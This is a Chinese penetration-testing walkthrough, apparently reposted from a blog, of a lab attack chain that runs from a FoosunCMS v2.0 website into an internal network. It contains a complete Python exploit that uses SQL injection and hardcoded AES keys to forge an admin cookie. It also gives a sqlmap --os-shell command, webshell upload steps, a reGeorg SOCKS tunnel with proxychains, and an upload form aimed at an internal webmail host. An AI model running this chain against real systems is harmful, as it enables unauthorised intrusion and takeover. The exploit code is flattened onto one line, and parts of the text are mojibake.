|
|
原文地址：
https://blog.csdn.net/weixin_44991517/article/details/91355442
声明：此次渗透环境为实验环境，仅供渗透实验参考
内网漫游拓扑图
利用登录绕过漏洞进行后台
目标网站ip：192.168.31.55，将目标网站ip绑定到本地hosts文件下的www.test.com下（防止直接访问ip网站加载不全），访问www.test.com得到网站首页，发现是一个html静态网站
经过点击发现该网站是FoosunCMS搭建的经过点击发现该网站是FoosunCMS搭建的
版本为v2.0，存在可以利用的漏洞，绕过管理员账号信息验证，直接进入后台，可谓是非常危险的一个利用漏洞，访问网站后台地址：/manage/Index.aspx
搜索发现FoosunCMS v2.0有一个登录绕过漏洞，尝试登录绕过，访问下面链接得到UserNumber
http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin
发现得将UserNumber加密后拼接成cookie即可成功登录
直接用sql注入拿到UserNumber，然后再与UserName等拼接，构造cookie直接以管理员权限登录，Exp代码如下：
#coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword：####inurl:/manage/Login.aspx #################################KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'def parse_args():parser = argparse.ArgumentParser()parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")return parser.parse_args()def run(url):try:usernumber = get_usernumber(url)if usernumber is not None:encrypt_cookie = generate_cookie(usernumber)#写入cookie中write_cookie(url, encrypt_cookie)except Exception:traceback.print_exc()def get_usernumber(url):fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"content = urllib.urlopen(fullurl).read()index = content.index("<option value="")if index != -1:usernumber = content[index+15:]usernumber = usernumber[0: content.index(""")+1]print "Get usernumber success. Usernumber is :", usernumberreturn usernumberelse:print "Get usernumber fail"return Nonedef pkcs7padding(data):bs = AES.block_sizepadding = bs - len(data) % bspadding_text = chr(padding) * paddingreturn data + padding_textdef generate_cookie(usernumber):orgstr = "%s,admin,0,1,False"%(usernumber,)cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])ciphertext = cryptor.encrypt(pkcs7padding(orgstr))ciphertext = base64.b64encode(ciphertext)return ciphertextdef write_cookie(url, ciphercookie):print "Generate Cookie[SITEINFO]:", ciphercookieprint "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)if __name__ == '__main__':args = parse_args()try:if args.url is not None:run(args.url[0])except Exception, e:print "python Foosun_exp.py -u "
执行后成功得到加密的绕过后台登录cookie
将脚本打印的加密Cookie用EditThisCookie写入浏览器Cookie
然后访问http://www.test.com/manage/Index.aspx即可成功进入后台
注意：
如果在执行exp脚本的时候出现以下情况，则需要安装python Crypto.Cipher加密包
安装加密包
pip install pycryptodome利用文件上传漏洞获取shell
进入后台后发现控制面板>系统参数设置>上传处可修改上传文件允许格式，在里面加入aspx格式
尝试利用sqlmap获取交互shell
http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27adminsqlmap.py -u"http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin" --os-shell
内网漫游
通过查看发现其开启了3389端口，利用前面添加的管理员账号密码远程登录3389，发现在administrator管理员用户下桌面上有一个记事本发现了两个账号密码
vi /etc/proxychains.conf
python reGeorgSocksProxy.py -p 2333 -l 0.0.0.0 -u http://www.test.com/files/tunnel.aspx
proxychains firefox
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><FORM name=form1 method=post action="http://172.19.23.123/webmail/client/mail/index.php?module=operate&action=attach-upload" enctype=multipart/form-data>ʏԫτݾú<input type="file" name="Filedata" size="30"><INPUT type=submit value=ʏԫ name=Submit>
http://172.19.23.123/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk
推 荐 阅 读
欢 迎 私 下 骚 扰
本文始发于微信公众号（潇湘信安）：模拟从外网到内网漫游的实验过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论